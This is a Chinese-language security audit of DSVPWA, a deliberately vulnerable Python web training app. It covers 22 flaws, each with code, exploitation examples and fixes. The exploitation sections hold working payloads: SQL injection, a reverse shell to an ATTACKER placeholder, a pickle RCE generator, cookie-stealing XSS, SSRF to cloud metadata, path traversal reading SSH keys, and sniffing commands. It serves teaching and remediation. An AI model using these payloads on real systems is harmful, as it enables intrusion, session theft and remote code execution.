DSVPWA 代码安全审计报告
审计对象:DSVPWA (Damn Simple Vulnerable Python Web Application) v0.0.1
审计时间:2026-08-16
审计方式:纯静态代码审计(逐行人工分析,未动态执行验证)
代码版本:a06abb3(main 分支 HEAD,含 SQLi 错误处理改动)
源码目录:/11-code/DSVPWA
审计人:
一、项目概览
DSVPWA 是一个故意植入漏洞的 Python Web 教学靶场,灵感来自 DSVW。使用 Python 标准库实现(无第三方依赖),内置多线程 HTTP 服务器、内存 SQLite 数据库、会话管理与 HTML 模板渲染。
| 组件 | 文件 | 职责 |
|---|---|---|
| 入口 | dsvpwa.py |
参数解析(--host/--port/--risk/--ssl),启动服务器 |
| 服务器 | dsvpwa/server.py |
ThreadingHTTPServer + 内存 SQLite(users/comments 表)+ 种子用户 |
| 请求处理 | dsvpwa/handlers.py |
路由分发、Cookie 处理、响应头、静态文件服务、隐藏后门 do_BDR |
| 漏洞逻辑 | dsvpwa/attacks.py |
13 个漏洞攻击类(每个对应一个路由) |
| 路由配置 | db/attacks.xml |
定义漏洞路由 → 模板 → 类的映射 |
| 用户数据 | db/users.xml |
明文存储的种子账号 |
默认配置:绑定 127.0.0.1:65413,--risk 默认 1(取值范围 1~3,越高解锁越危险的向量)。
⚠️ 重要前置说明:本项目是教育性靶场,绝大多数"漏洞"是作者有意为之的演示代码。本报告的价值在于:(1) 完整梳理全部漏洞点及其原理;(2) 给出可落地的修复方案,供"把靶场改造为安全基线代码"或教学参考时使用。审计按真实代码缺陷标准逐条判定,不因"靶场意图"而遗漏。
二、风险等级说明
| 等级 | 定义 |
|---|---|
| 🔴 严重 (Critical) | 可导致远程命令执行 / 任意文件读写 / 权限完全接管 |
| 🟠 高危 (High) | 可导致数据篡改删除 / 会话劫持 / 敏感信息泄露 |
| 🟡 中危 (Medium) | 需要特定条件(如已登录、用户交互、非默认配置)才能利用 |
| 🔵 低危 (Low) | 信息泄露、加固缺失、配置缺陷 |
三、漏洞总览表
| # | 漏洞名称 | 等级 | 位置 | 默认 risk 下可利用 |
|---|---|---|---|---|
| 1 | SQL 注入(数值型) | 🔴 严重 | attacks.py:39 |
✅ |
| 2 | 认证绕过(SQL 注入 + 硬编码后门) | 🔴 严重 | attacks.py:282-289 |
✅ |
| 3 | 命令注入 | 🔴 严重 | attacks.py:165-167 |
❌ 需 risk≥3 |
| 4 | 不安全反序列化 → RCE | 🔴 严重 | attacks.py:199 |
❌ 需 risk≥3 |
| 5 | 隐藏后门(自定义 HTTP 方法执行命令) | 🔴 严重 | handlers.py:177-188 |
❌ 需 risk≥3 |
| 6 | 路径穿越 + SSRF(任意文件读) | 🔴 严重 | attacks.py:209-213 |
✅ |
| 7 | 静态文件服务路径穿越 | 🟠 高危 | handlers.py:111-125 |
✅ |
| 8 | 存储型 XSS | 🟠 高危 | attacks.py:88-98 |
✅ |
| 9 | 反射型 XSS | 🟠 高危 | attacks.py:71-77 |
✅ |
| 10 | DOM XSS | 🟠 高危 | static/js/custom.js |
✅ |
| 11 | CSRF(GET 改资料 + 无 Token) | 🟠 高危 | attacks.py:322-325 |
✅(需登录) |
| 12 | 点击劫持 | 🟠 高危 | handlers.py:237-238 |
✅(需登录) |
| 13 | 会话固定 | 🟠 高危 | attacks.py:229-231 |
✅ |
| 14 | 会话劫持 | 🟠 高危 | attacks.py:250-261 |
✅ |
| 15 | 会话状态跨请求污染(类属性共享) | 🟠 高危 | handlers.py:141,199 |
✅ |
| 16 | 开放重定向 | 🟡 中危 | attacks.py:118-126 |
✅ |
| 17 | 重定向后执行(EAR) | 🟡 中危 | attacks.py:134-142 |
✅ |
| 18 | 非安全传输(HTTP 明文 + 无 HSTS) | 🟡 中危 | dsvpwa.py:14,25 |
✅ |
| 19 | 弱 Cookie 安全属性 | 🟡 中危 | handlers.py:232-234 |
✅ |
| 20 | 失效的 CSP + 禁用浏览器 XSS 过滤 | 🟡 中危 | handlers.py:237-238 |
✅ |
| 21 | 密码明文存储 + 默认凭证泄露 | 🟡 中危 | db/users.xml、server.py:8-17 |
✅ |
| 22 | 异常信息泄露(辅助注入探测) | 🔵 低危 | attacks.py:40-41、handlers.py:216-218 |
✅ |
说明:
risk参数为 1~3。--risk未指定时默认 1,此时命令注入、pickle RCE、do_BDR后门不可用(代码返回提示"提高 risk")。其余漏洞默认全开。
四、漏洞详情
🔴 1. SQL 注入(数值型,可拖库)
- 位置:
dsvpwa/attacks.py:39 - 路由:
/users - 风险等级:严重
漏洞代码:
id = '9999999' if 'id' not in params else params['id'][0]
cursor.execute("SELECT id, username, firstname, lastname, email, session FROM users WHERE id=" + id)
漏洞原因:id 参数来自 URL 查询串,未做任何校验/转义,直接与 SQL 字符串拼接。查询结果中还包含 session 列——每个登录用户的 SESSIONID 都存在数据库里,等于注入一次即可拖走全部会话凭据。
利用方式:
# 拖出全部用户(含 session 列)
GET /users?id=1 OR 1=1
# UNION 注入获取版本
GET /users?id=999 UNION SELECT 1,sqlite_version(),3,4,5,6
# 布尔盲注探测(对比返回行数)
GET /users?id=1 AND 1=1
GET /users?id=1 AND 1=2
修复建议:一律使用参数化查询,禁止字符串拼接 SQL。
cursor.execute(
"SELECT id, username, firstname, lastname, email, session FROM users WHERE id=?",
(id,)
)
参考:https://owasp.org/www-community/attacks/SQL_Injection
🔴 2. 认证绕过(SQL 注入 + 硬编码后门)
- 位置:
dsvpwa/attacks.py:282-289 - 路由:
/login - 风险等级:严重
漏洞代码:
username = re.sub(r"[^\w]", '', params.get('username')[0]) # 只过滤了 username
password = params.get('password')[0] # password 原样拼接
if username == 'dsvpwa' and password == 'dsvpwa': # 硬编码后门
user = ['dsvpwa', 'Default', 'Default', 'dsvpwa']
else:
cursor.execute("SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'")
漏洞原因:
- 注入点:
username被[^\w]弱过滤(仅去除非字母数字下划线),但password完全未过滤且被拼进 SQL。 - 硬编码后门:
dsvpwa/dsvpwa无条件放行。 - 密码明文:SQL 中直接比对明文密码(见漏洞 #21)。
利用方式:
# 万能密码(password 注入,登录为 admin)
GET /login?username=admin&password=' OR '1'='1
# 硬编码后门
GET /login?username=dsvpwa&password=dsvpwa
# 注释截断
GET /login?username=admin&password=' OR '1'='1' --
登录成功后(attacks.py:297)会把当前 SESSIONID 写进该用户记录,攻击者随后即可用同一 SESSIONID 冒用 /profile。
修复建议:
- 参数化查询。
- 删除硬编码后门账号。
- 密码用哈希(
bcrypt/argon2)+ 盐比对,绝不存明文。
username = params.get('username', [''])[0]
password = params.get('password', [''])[0]
cursor.execute("SELECT * FROM users WHERE username=? LIMIT 1", (username,))
row = cursor.fetchone()
if row and bcrypt.checkpw(password.encode(), row[5].encode()):
# 登录成功,重新生成 session
参考:https://owasp.org/www-community/attacks/SQL_Injection
🔴 3. 命令注入(RCE)
- 位置:
dsvpwa/attacks.py:165-167 - 路由:
/diag - 风险等级:严重(需
--risk 3)
漏洞代码:
domain = params.get('domain', '/')[0]
output = subprocess.check_output(
' '.join([command, domain]),
shell=True,
stderr=subprocess.STDOUT,
stdin=subprocess.PIPE
)
漏洞原因:shell=True + 把用户可控的 domain 用空格 join 进 shell 命令字符串。domain 内任何 shell 元字符(;、&&、|、反引号、$())都会被执行。
利用方式:
# 执行 id
GET /diag?domain=www.google.com;id
# 反弹 shell(攻击者监听 4444)
GET /diag?domain=www.google.com;bash -i >& /dev/tcp/ATTACKER/4444 0>&1
# 写文件
GET /diag?domain=www.google.com;echo hacked > /tmp/pwn.txt
修复建议:
- 禁用
shell=True,改用参数列表传递(安全拼接,不走 shell):
output = subprocess.check_output([command, domain], stderr=subprocess.STDOUT)
- 对
domain做白名单校验(合法域名正则:^[a-z0-9.-]+\.[a-z]{2,}$),拒绝所有其他字符。 - 若不需要,干脆移除该功能。
参考:https://owasp.org/www-community/attacks/Command_Injection
🔴 4. 不安全反序列化 → 远程代码执行
- 位置:
dsvpwa/attacks.py:199(payload 构造176-188) - 路由:
/extract - 风险等级:严重(需
--risk 3)
漏洞代码:
class RCE:
def __reduce__(self):
cmd = ('whoami >> poc.txt')
return os.system, (cmd,)
# ...
object = params.get('object', '')[0]
content = str(pickle.loads(base64.urlsafe_b64decode(object))) # ← 直接反序列化
漏洞原因:对用户可控的 base64 输入直接 pickle.loads()。Python pickle 在反序列化时若遇到 __reduce__ 定义的类,会自动调用指定函数(os.system)执行任意命令。反序列化不可信数据 = 任意代码执行,这是 Python 生态最经典的 RCE 点之一。
利用方式:
import base64, pickle, os
class RCE:
def __reduce__(self):
return os.system, ("whoami >> poc.txt",)
payload = base64.urlsafe_b64encode(pickle.dumps(RCE())).decode()
print(payload) # 放到 object 参数
GET /extract?object=<上面生成的base64>
# 服务端执行 whoami >> poc.txt,攻击者随后可 GET /poc.txt 读取结果
更常用的姿势是把命令换成反弹 shell 或写 webshell(静态目录可写)。
修复建议:
- 永不反序列化不可信数据。改用 JSON / 其他格式:
import json
content = json.loads(base64.urlsafe_b64decode(object).decode())
- 若必须用 pickle,至少用受信密钥做 HMAC 签名校验,且将数据源限定为服务端生成。
- 运行最小权限账户、文件系统只读挂载,压缩 RCE 落地后的影响面。
参考:https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data
🔴 5. 隐藏后门(自定义 HTTP 方法执行命令)
- 位置:
dsvpwa/handlers.py:177-188 - 风险等级:严重(需
--risk 3)
漏洞代码:
def do_BDR(self):
if self.risk < 3:
self.send_response(HTTPStatus.BAD_REQUEST)
content = dsvpwa.attacks.Attack.warning.format(self.risk).encode()
else:
self.send_response(HTTPStatus.OK)
content = subprocess.check_output(
self.path[1:], # URL 路径去掉首字符后直接当 shell 命令
shell=True,
stderr=subprocess.STDOUT,
stdin=subprocess.PIPE
)
漏洞原因:do_BDR 是一个自定义 HTTP 方法处理器——BaseHTTPRequestHandler 会把任意方法分发给同名 do_XXX。这里把整个 URL 路径当 shell 命令执行,等于一个不需要认证的远程命令执行后门。
利用方式:
BDR /id HTTP/1.1
Host: 127.0.0.1:65413
# 响应直接返回 id 命令的输出
BDR /cat%20/etc/passwd HTTP/1.1
curl -X BDR 'http://127.0.0.1:65413/id'
修复建议:直接删除 do_BDR。这不是功能,是后门。同时建议:
- 显式定义允许的 HTTP 方法白名单(
do_GET/do_POST/do_HEAD),并让BaseHTTPRequestHandler对未实现的方法返回501(默认行为)。 - 服务端任何位置都不该出现
shell=True执行用户可控内容(与本报告 #3 同理)。
🔴 6. 路径穿越 + SSRF(任意文件读取)
- 位置:
dsvpwa/attacks.py:209-213 - 路由:
/docs - 风险等级:严重
漏洞代码:
path = params.get('path', ['docs/cursus.txt'])[0]
if '://' not in path:
file = open(os.path.abspath(path), 'rb') # 任意本地文件
else:
file = urllib.request.urlopen(path) # 任意 URL(SSRF)
漏洞原因:path 参数未做任何白名单/目录校验。
os.path.abspath()只做路径规范化,不做沙箱限制——../穿越后能读任意系统文件。'://'分支走urllib.request.urlopen,可请求任意 URL 实现 SSRF;且urllib支持file://scheme,因此该分支等价于任意文件读取,还能探测内网端口/读取云元数据(如http://169.254.169.254/)。
利用方式:
# 路径穿越读 /etc/passwd
GET /docs?path=../../../../etc/passwd
# 读隐藏的 secret 文件(仓库自带 docs/secret.txt,内容 "This is super secret...")
GET /docs?path=docs/secret.txt
# file:// 任意文件读
GET /docs?path=file:///etc/hostname
# SSRF 探测内网/云元数据
GET /docs?path=http://169.254.169.254/latest/meta-data/
GET /docs?path=http://127.0.0.1:22/
修复建议:
BASE_DIR = os.path.realpath('./docs')
path = params.get('path', ['docs/cursus.txt'])[0]
real = os.path.realpath(os.path.join(BASE_DIR, path))
if not real.startswith(BASE_DIR + os.sep):
raise ValueError("Invalid path") # 拒绝穿越
file = open(real, 'rb')
- 目录白名单:用
realpath并强制校验前缀必须在./docs内。 - SSRF 防护:完全禁止
urlopen外部 URL 能力;如确需,必须过滤内网 IP/保留段、禁用file://等非 http(s) scheme。 - 用裸
except:兜底会吞掉所有异常(含安全相关错误),改为捕获具体异常并记录日志。
参考:https://owasp.org/www-community/attacks/Path_Traversal
🟠 7. 静态文件服务路径穿越
- 位置:
dsvpwa/handlers.py:111-125(StaticHandler.find) - 风险等级:高危
漏洞代码:
def find(self, path):
path = 'static/svg/bug-fill.svg' if path == '/favicon.ico' else path
ext = os.path.splitext(path)[1]
try:
if ext in ('.jpg', '.jpeg', '.png', '.woff', '.woff2', '.ttf', '.ico'):
self.content = open('./{}'.format(path), 'rb')
else:
self.content = open('./{}'.format(path), 'r') # path 来自 URL,未校验
漏洞原因:do_GET 中,凡是不匹配模板路由的请求都会落到 StaticHandler,URL 路径被直接拼进 open('./{}'.format(path))。BaseHTTPRequestHandler 不做路径规范化,攻击者可在 URL 中注入 ../ 读取工作目录之外的文件(用 curl --path-as-is 或原始 socket 发送未规范化路径即可)。
利用方式:
# 从仓库根目录上跳两级读取任意文件(需关闭 curl 的路径规范化)
curl --path-as-is 'http://127.0.0.1:65413/../../../etc/passwd'
# 读取仓库外、但当前用户可读的文件
curl --path-as-is 'http://127.0.0.1:65413/../../Users/h/.ssh/id_rsa'
注:本项为静态分析结论。
os.path.splitext后ext非空(如.txt)也会进入StaticHandler;实际穿越成功与否取决于目录层级与目标文件存在性。此点与/docs(#6)是两条独立的穿越路径,需分别修复。
修复建议:
- 静态文件只从固定根目录
static/下解析,并用realpath校验前缀:
STATIC_ROOT = os.path.realpath('./static')
real = os.path.realpath(os.path.join(STATIC_ROOT, path.lstrip('/')))
if not real.startswith(STATIC_ROOT + os.sep):
return False
- 用
SimpleHTTPRequestHandler的translate_path逻辑(自带前缀校验)替代手写打开。
🟠 8. 存储型 XSS
- 位置:
dsvpwa/attacks.py:88-98 - 路由:
/guestbook - 风险等级:高危
漏洞代码:
if 'comment' in params:
comment = params.get('comment', '')[0]
cursor.execute('INSERT INTO comments VALUES(NULL, ?, ?)', [comment, time.ctime()])
...
else:
cursor.execute("SELECT id, comment, time FROM comments")
rows = ""
for row in cursor.fetchall():
for column in row:
columns += "".join("<td>{}</td>".format("-" if column is None else column)) # 输出未转义
漏洞原因:留言入库用的是参数化查询(存储安全),但读取展示时把所有列值直接拼进 HTML 表格,没有 HTML 实体编码。攻击者写入的 <script> 会在每个访问留言板的用户浏览器里执行。
利用方式:
# 写入恶意留言
GET /guestbook?comment=<script>new Image().src='http://ATTACKER/steal?c='+document.cookie</script>
# 任何访问 /guestbook 的用户都会被窃取 Cookie(会话劫持的桥梁)
修复建议:输出侧统一 HTML 编码。最简单是用 html.escape() 或模板引擎的自动转义。
for column in row:
columns += "<td>{}</td>".format(html.escape(str(column) if column is not None else '-'))
配合漏洞 #20 收紧 CSP(默认 script-src 不允许 inline)可做纵深防御。
参考:https://owasp.org/www-community/attacks/xss
🟠 9. 反射型 XSS
- 位置:
dsvpwa/attacks.py:71-77 - 路由:
/post - 风险等级:高危
漏洞代码:
content = params.get('msg', '')
if len(content):
content = content[0]
else:
content = 'No messages...'
return content
漏洞原因:msg 参数原样返回并渲染进页面,无任何输出编码。配合 handlers.py:238 的宽松 CSP(default-src * 'unsafe-inline',允许内联脚本)与 :237 的 X-XSS-Protection: 0(关闭浏览器内置 XSS 过滤),反射型 XSS 可稳定执行。
利用方式:
GET /post?msg=<script>alert(document.domain)</script>
# 窃取 Cookie(攻击者构造链接诱导点击)
GET /post?msg=<script>location='http://ATTACKER/'+document.cookie</script>
修复建议:
- 输出编码:
html.escape(content)(注意此处在模板format前转义)。 - 收紧 CSP:移除
'unsafe-inline',script-src 'self'。 - 移除
X-XSS-Protection: 0(或改为1; mode=block),不要再主动关浏览器过滤。
参考:https://owasp.org/www-community/attacks/xss
🟠 10. DOM XSS(前端脚本)
- 位置:
static/js/custom.js - 加载范围:所有页面模板都
<script src="/static/js/custom.js">(index.html、main.html、login.html等) - 风险等级:高危
漏洞代码:
var index = document.location.hash.indexOf('lang=');
if (index != -1)
{
document.write('<div ...>Chosen language: <b>' + decodeURIComponent(document.location.hash.substring(index + 5)) + '</b></div>');
}
漏洞原因:document.write 直接拼接 URL # 片段(fragment)中 lang= 之后的内容。fragment 完全由攻击者控制(诱导链接即可),且不经过服务器——这是典型的 DOM 型 XSS,服务端 WAF/CSP(对请求层面)无法拦截。document.write 写入的内容会被解析为 HTML。
利用方式:
<!-- 诱导受害者点击,任何页面均生效 -->
http://127.0.0.1:65413/#lang=<img src=x onerror=alert(document.cookie)>
<!-- URL 编码后 -->
http://127.0.0.1:65413/#lang=%3Cimg%20src%3Dx%20onerror%3Dalert(document.cookie)%3E
修复建议:
- 删除
document.write,改用安全 DOM API + 纯文本赋值:
var lang = decodeURIComponent(location.hash.substring(index + 5));
var el = document.createElement('b');
el.textContent = lang; // textContent 不解析 HTML
document.body.appendChild(el);
- 若需显示用户可控语言值,应从服务端白名单列表中选择,而不是回显 fragment。
- 收紧 CSP 可缓解 inline handler,但 DOM XSS 的根本修复是不用危险 sink(
document.write/innerHTML/eval)。
参考:https://owasp.org/www-community/attacks/DOM_Based_XSS
🟠 11. CSRF 跨站请求伪造
- 位置:
dsvpwa/attacks.py:322-325 - 路由:
/settings、/danger(均无 Token) - 风险等级:高危(需已登录)
漏洞代码:
if 'email' in params.keys():
email = params.get('email')[0]
cursor.execute("UPDATE users SET email = ? WHERE id = ?", (email, user[0]))
connection.commit()
漏洞原因:
- 敏感操作走 GET:改邮箱(
/settings)甚至删账号(/danger?delete=1)都是 GET 请求。 - 无 CSRF Token:表单没有随机令牌,服务端也不校验
Origin/Referer。 - Cookie 无
SameSite(见 #19),浏览器会随跨站请求自动带上 SESSIONID。
三者叠加 → 攻击者构造一个页面,受害者(已登录)只要加载该页面,账号资料被改、甚至账号被删。
利用方式:
<!-- 攻击者页面(受害者已登录 DSVPWA) -->
<img src="http://127.0.0.1:65413/settings?email=hacker@evil.com">
<img src="http://127.0.0.1:65413/danger?delete=1">
修复建议:
- 状态改变操作一律用 POST,并用双重提交 Token(session 内随机值 + 表单隐藏域比对)。
- Cookie 设
SameSite=Strict(或至少Lax)。 - 服务端校验
Origin/Referer是否本站。 - 删除账号等高风险操作增加二次确认(额外口令/验证码)。
参考:https://owasp.org/www-community/attacks/csrf
🟠 12. 点击劫持
- 位置:
dsvpwa/handlers.py:237-238(响应头)→/danger页面(attacks.py:366-373删除账号) - 风险等级:高危(需已登录)
漏洞原因:服务端不发送任何 X-Frame-Options / CSP frame-ancestors 头,页面可被任意第三方网站 <iframe> 嵌套。/danger 的"删除账号"按钮是隐藏表单 + 诱饵文案,恰好构成点击劫持的经典利用场景。
利用方式:
<!-- 攻击者页面:透明 iframe 覆盖在诱饵按钮上方 -->
<iframe src="http://127.0.0.1:65413/danger" style="opacity:0; position:absolute; top:0; left:0; width:600px; height:400px;"></iframe>
<button style="position:absolute; top:200px; left:200px; z-index:0;">点我领奖品</button>
<!-- 受害者"点领奖"实际点到 iframe 里的删除按钮 → 账号被删 -->
修复建议:
# 响应头(每个响应都加)
self.send_header('X-Frame-Options', 'DENY') # 或 SAMEORIGIN
self.send_header('Content-Security-Policy', "frame-ancestors 'none'")
X-Frame-Options: DENY/SAMEORIGIN。- 现代 CSP
frame-ancestors 'none'(优先级更高)。 - 高风险操作(删号、改密)用 JS
frame-busting+ 服务端二次确认兜底。
参考:https://owasp.org/www-community/attacks/Clickjacking
🟠 13. 会话固定(Session Fixation)
- 位置:
dsvpwa/attacks.py:229-231 - 路由:
/home - 风险等级:高危
漏洞代码:
if params.keys() & {'session'}:
session = params.get('session')[0]
cookie['SESSIONID'] = session # 客户端可控 session 直接写入 cookie
漏洞原因:URL 参数 session 可任意指定,服务端直接把它设成 SESSIONID Cookie。攻击者先选定一个 SESSIONID,诱导受害者通过该链接登录(登录成功时 AuthBypass 会把这个 SESSIONID 绑定到受害者账号上,见 attacks.py:297),攻击者再用同一 SESSIONID 登录 → 冒充受害者。
利用方式:
# 攻击者选择 SESSIONID=ATTACKER0,构造链接发给受害者
GET /home?session=ATTACKER0&path=/profile
# 受害者打开后带着 SESSIONID=ATTACKER0 去登录(正常操作)
# 登录后 SESSIONID=ATTACKER0 被写入受害者用户记录
# 攻击者直接用该 SESSIONID 访问 /profile → 完全冒用
修复建议:
- 登录成功后强制轮换 SESSIONID(重新生成,废除登录前的值)。
- 服务端 Session 存储独立于客户端;客户端只持有不透明会话引用。
- 拒绝接受 URL 传递的 session 值(Session ID 只从 Cookie 读取)。
参考:https://owasp.org/www-community/attacks/Session_fixation
🟠 14. 会话劫持(Session Hijacking)
- 位置:
dsvpwa/attacks.py:250-261 - 路由:
/profile - 风险等级:高危
漏洞代码:
if 'SESSIONID' in handler.cookie:
session = handler.cookie['SESSIONID'].value
cursor.execute("SELECT * FROM users WHERE session = ?", [session])
user = cursor.fetchone()
if user:
content = '<h2>Welcome <strong>{}</strong>!</h2>...'.format(user[1], user[2], user[3], user[4])
漏洞原因:鉴权仅凭 Cookie 里的 SESSIONID 与数据库比对,而 SESSIONID 存在多重泄露/猜测路径:
- Cookie 无
HttpOnly/Secure/SameSite(#19)→ 可被 XSS 窃取、明文 HTTP 嗅探、跨站携带。 /usersSQL 注入直接拖出session列(#1)。- SESSIONID 生成熵低:20 位
[a-zA-Z0-9]可暴力枚举。 - 会话无过期时间、无绑定(不绑 IP/UA/登录时间)。
利用方式:
# 1) 从 SQL 注入结果拿到受害者的 session 值后直接冒充
curl -H 'Cookie: SESSIONID=<受害者session>' http://127.0.0.1:65413/profile
# 2) XSS 窃取 Cookie 后重放
# 3) 明文 HTTP 下抓包(Wireshark / mitmproxy)获取
修复建议:
- 用服务端生成的高熵随机 Session(
secrets.token_urlsafe(32)),不可预测、不可由客户端指定。 - Cookie 加
HttpOnly; Secure; SameSite=Strict。 - 会话设置过期时间,登录/权限变化时轮换。
- 对敏感操作绑定客户端特征(可选:IP/UA),异常即失效。
参考:https://owasp.org/www-community/attacks/Session_hijacking_attack
🟠 15. 会话状态跨请求污染(类属性共享)
- 位置:
dsvpwa/handlers.py:141(类属性)、:199(self.cookie.load)、:232-234(Set-Cookie) - 风险等级:高危
漏洞代码:
class VulnHTTPRequestHandler(BaseHTTPRequestHandler):
cookie = http.cookies.SimpleCookie() # ← 类属性,所有实例共享同一个可变对象
...
def do_GET(self):
self.cookie.load(self.headers.get('Cookie', '')) # 每次请求往共享 jar 里灌
...
for morsel in self.cookie.values():
morsel['path'] = '/'
self.send_header('Set-Cookie', morsel.OutputString())
漏洞原因:cookie 定义在类级别,是所有请求实例共享的单一可变 SimpleCookie 对象。SimpleCookie.load() 只增不删,于是:
- A 用户登录后,其 SESSIONID 可能被 Set-Cookie 发给 B 用户(共享 jar 里残留的值)。
- 多线程(
ThreadingHTTPServer)下并发请求互相覆盖SESSIONID,会话张冠李戴——比单点会话劫持更隐蔽,属于结构性会话管理缺陷。 - 客户端指定 SESSIONID 即可污染全局(配合 #13)。
利用方式:无需特制 payload,正常多用户并发使用即触发串号;攻击者可控参数直接写入共享 jar 时,可影响其他用户会话。
修复建议:Cookie 必须是每个请求独立的实例状态:
def do_GET(self):
self._cookie = http.cookies.SimpleCookie()
self._cookie.load(self.headers.get('Cookie', ''))
...
for morsel in self._cookie.values():
morsel['path'] = '/'
self.send_header('Set-Cookie', morsel.OutputString())
把会话状态从类属性移到实例属性,并对所有可变状态(数据库连接、session)明确线程边界。
🟡 16. 开放重定向
- 位置:
dsvpwa/attacks.py:118-126 - 路由:
/jump - 风险等级:中危
漏洞代码:
path = params.get('path', '/')[0]
content = '''
<script>
setTimeout(function() {{
window.location.replace('{path}');
}}, 3000);
</script>
'''.format(path=path)
漏洞原因:path 参数未校验是否为站内地址,直接进入 window.location.replace() 跳转。开放重定向可用于钓鱼(受害者以为在可信域跳转中被引导到钓鱼站)、OAuth/回调链绕过等。
利用方式:
# 3 秒后跳转到钓鱼站
GET /jump?path=http://evil-phishing.example/login
# 若配合 URL 编码协议绕过
GET /jump?path=//evil-phishing.example
修复建议:
from urllib.parse import urlparse
path = params.get('path', '/')[0]
u = urlparse(path)
if u.scheme not in ('', 'http', 'https') or (u.scheme and u.netloc != request_host):
path = '/' # 非站内 → 回首页
- 跳转目标必须是站内相对路径,或与当前 Host 一致。
- 维护跳转白名单。
参考:https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html
🟡 17. 重定向后执行(EAR, Execution After Redirect)
- 位置:
dsvpwa/attacks.py:134-142 - 路由:
/admin - 风险等级:中危
漏洞代码:
cookie = handler.cookie
content = '''
<ul>
<li><a href=#>Manage Users</a></li>
<li><a href=#>Update Database Settings</a></li>
</ul>
'''
if not cookie:
content += "<script>window.location = '/login';</script>"
漏洞原因:敏感管理页内容先被渲染(状态码 200),然后才用 JS 重定向到登录页。服务端没有真正的授权检查——只发了个"请登录"的脚本。任何不执行 JS 的客户端(curl、爬虫、脚本、SSRF 代理)都能直接拿到 admin 功能页;且状态码不是 30x,缓存/CDN/代理会把 admin 内容当普通响应。
利用方式:
# 未登录直接拿 admin 页内容(无 JS 客户端)
curl http://127.0.0.1:65413/admin
# → 返回 Manage Users / Update Database Settings 等管理入口
修复建议:
- 先鉴权,再渲染:未授权时应服务端直接
send_response(302)+Location: /login,绝不渲染任何业务内容。 - 把重定向做成真正 HTTP 重定向(30x),而非前端脚本。
- admin 功能每个动作独立鉴权(避免拿到页面但接口无权限的"假安全")。
参考:https://owasp.org/www-community/attacks/Execution_After_Redirect_(EAR)
🟡 18. 非安全传输(HTTP 明文 + 无 HSTS)
- 位置:
dsvpwa.py:14,25、handlers.py(无 HSTS 头) - 风险等级:中危
漏洞原因:
- 默认
--ssl关闭,走明文 HTTP;登录口令、Session Cookie、留言内容全在网络上明文传输,可被同网段嗅探。 - 即使
--ssl开启,也未发送Strict-Transport-Security(HSTS)头,无法阻止 HTTPS 降级到 HTTP。 ssl/下是自签证书,浏览器会告警(可被中间人)。
利用方式:
# 局域网/共享 WiFi 下抓包即可获得明文口令与 SESSIONID
tcpdump -i en0 port 65413 -A | grep -iE 'password|SESSIONID'
修复建议:
- 默认强制 HTTPS,移除 HTTP 分支。
- 启用 HSTS:
Strict-Transport-Security: max-age=63072000; includeSubDomains。 - 使用受信 CA 证书(Let’s Encrypt)替代自签证书。
参考:https://owasp.org/www-project-secure-headers/
🟡 19. 弱 Cookie 安全属性
- 位置:
dsvpwa/handlers.py:232-234 - 风险等级:中危
漏洞代码:
for morsel in self.cookie.values():
morsel['path'] = '/'
self.send_header('Set-Cookie', morsel.OutputString())
漏洞原因:会话 Cookie 只设置了 Path=/,缺失 HttpOnly、Secure、SameSite:
- 无
HttpOnly→ JS 可读(document.cookie),XSS 直接窃取会话(放大 #8/#9/#10)。 - 无
Secure→ 明文 HTTP 也发送(放大 #18)。 - 无
SameSite→ 跨站请求自动携带(放大 #11 CSRF)。
修复建议:
morsel['path'] = '/'
morsel['httponly'] = True
morsel['samesite'] = 'Strict' # 或 Lax
# 开启 SSL 时:morsel['secure'] = True
同时建议 SESSIONID 用高熵随机值(#14)。
🟡 20. 失效的 CSP + 禁用浏览器 XSS 过滤
- 位置:
dsvpwa/handlers.py:237-238 - 风险等级:中危
漏洞代码:
self.send_header('X-XSS-Protection', '0')
self.send_header('Content-Security-Policy', "default-src * 'unsafe-inline'")
漏洞原因:
Content-Security-Policy: default-src * 'unsafe-inline'——'unsafe-inline'允许所有内联脚本/事件处理器,*允许加载任意源,CSP 形同虚设(XSS #8/#9/#10 全部可穿透)。X-XSS-Protection: 0主动关闭浏览器内置 XSS 过滤器,雪上加霜。
修复建议:
self.send_header('Content-Security-Policy',
"default-src 'none'; script-src 'self'; style-src 'self' 'unsafe-inline'; "
"img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'")
# 移除 X-XSS-Protection: 0 行(该头已废弃,默认行为即可)
若保留内联资源需求,应改用
nonce或hash白名单,而不是全量'unsafe-inline'。
参考:https://owasp.org/www-community/attacks/Content_Security_Policy
🟡 21. 密码明文存储 + 默认凭证泄露
- 位置:
db/users.xml、dsvpwa/server.py:8-17、dsvpwa/attacks.py:285 - 风险等级:中危
漏洞代码:
<!-- db/users.xml -->
<user id="0">
<username>admin</username>
<password>Y3RFgwZP$v6v#D</password>
...
</user>
<user id="2"><username>guest</username><password>guest</password></user>
<user id="3"><username>loella</username><password>babygirl</password></user>
<user id="4"><username>weitzel</username><password>123456</password></user>
漏洞原因:
- 密码明文写入 XML 和 SQLite
users.password列,任何能读文件/注入 SQL 的人直接获得全部凭证。 - 默认凭证随源码分发,且登录接口无速率限制(可无限爆破,配合弱口令秒破)。
AuthBypass中还有硬编码后门账号dsvpwa/dsvpwa(#2)。
利用方式:
# 凭证已在源码里,直接登录
curl 'http://127.0.0.1:65413/login?username=admin&password=Y3RFgwZP$v6v#D'
# 或用弱口令 guest/guest、loella/babygirl、weitzel/123456
修复建议:
- 密码用
bcrypt/argon2id哈希 + 盐存储,比对用checkpw。 - 登录加速率限制 / 锁定策略 / 验证码。
- 移除默认凭证与硬编码后门;生产环境用环境变量注入随机初始口令。
- 禁止把含凭证的种子数据打进镜像/仓库。
🔵 22. 异常信息泄露(辅助注入探测)
- 位置:
dsvpwa/attacks.py:40-41、dsvpwa/handlers.py:216-218 - 风险等级:低危
漏洞代码:
# attacks.py:40-41 —— SQL 错误对象直接回显
except sqlite3.OperationalError as e:
return e
# handlers.py:216-218 —— 任意异常 str() 后回显 500
except Exception as ex:
content = str(ex)
code = HTTPStatus.INTERNAL_SERVER_ERROR
漏洞原因:数据库语法错误、Python 堆栈信息直接返回给客户端。攻击者可借助报错内容判断数据库类型/表结构/字段,将盲注转为显错注入(error-based),大幅降低利用成本。
利用方式:
# 触发 SQL 语法错误,回显内部错误
GET /users?id=1'
# 响应含 sqlite3.OperationalError 及 SQL 片段
